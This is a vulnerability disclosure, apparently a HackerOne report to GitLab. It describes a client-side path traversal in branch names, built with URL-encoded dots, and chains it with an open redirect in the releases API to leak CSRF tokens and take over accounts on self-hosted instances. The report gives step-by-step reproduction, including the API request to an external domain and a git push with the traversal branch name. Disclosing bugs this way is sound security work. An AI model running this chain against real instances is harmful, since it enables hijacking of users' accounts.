Client Side Path Traversal leads to CSRF token leakage and ATO on self-hosted instances
HackerOne report #3257843 by swiftee on 2025-07-17, assigned to GitLab Team:
Report
Summary
Hello Gitlab Team.
This is similar to these reports. It is possible to introduce path traversal sequences in branch name (using git) if you URL encode dot as %2E. The function projectProtectedBranch inserts branch name without encoding it in URL.
projectProtectedBranch(id, branchName) {
const url = Api.buildUrl(Api.projectProtectedBranchesNamePath)
.replace(':id', encodeURIComponent(id))
.replace(':name', branchName);
return axios.get(url).then(({ data }) => data);
}
When sending a request axios will decode dots and this will turn into path traversal sequence.
It is possible to escalate this to leaking csrf token / ATO when chaining this to open redirect. There is an open redirect in releases API, I reported it, but in that report open redirect was used in conjucntion with google openID quirk. Oauth part was fixed, but open redirect remained. This redirect can be used to escalate this Client Side Path Traversal
Steps to reproduce
Set up for open redirect
- You will need a Personal Access Token for creating a release asset link and later for escalating to account takeover. You can see how to create one here.
- Create a tag, name it tag1
- Create a release asset link that links to external resource. Insert in request the id of Your project, Your private token, name of the tag that was created as step 2 and external domain.
POST /api/v4/projects/YOUR_PROJECT_ID/releases
Host: gitlab.com
Private-Token: YOUR_PRIVATE_TOKEN
Content-Type: application/json
{
"name": "external",
"tag_name": "tag1",
"assets": {
"links": [
{
"name":"external",
"url":"https://EXTERNAL_DOMAIN",
"filepath":"/external"
}
]
}
}
- Go to
https://gitlab.com/api/v4/projects/YOUR_PROJECT_ID/releases/tag1/downloads/external. You are redirected to external domain. This is open redirect.
Client Side Path Traversal
** As an attacker
- Create a public project
- Clone it to local
- Locally push new branch, You will use part of the api path from open redirect link
git push origin HEAD:"%2E%2E/releases/tag1/downloads/external" - Make this branch protected. Go to
https://gitlab.com/YOUR_GROUP/YOUR_PROJECT/-/settings/repository#js-protected-branches-settingsand click on "Add protected branch" - Create a security Policy. In Your project go to Security>Policy. Click on "New Policy". Select "Merge request approval policy".
- In security policy create a rule that targets specific branch: the one with path traversal. Also choose some action for example "require approval from user" and select attacker user. Update security policy via merge request.
** As a victim (must be a member of said public project)
- Visit
https://gitlab.com/YOUR_GROUP/YOUR_PROJECT/-/security/policies/POLICY_NAME/edit?type=approval_policy - Click YAML mode, then rule mode
This will trigger axios request with path traversal that will go to external website.
On Gitlab.com this will be blocked by CSP connect-src, You will be able to see CSP errors in console. On self-hosted csp is disabled by default, so request will go through.
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
What is the current bug behavior?
Path traversal in branch name
What is the expected correct behavior?
Branch names should not have path traversal
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
How To Reproduce
Please add reproducibility information to this section: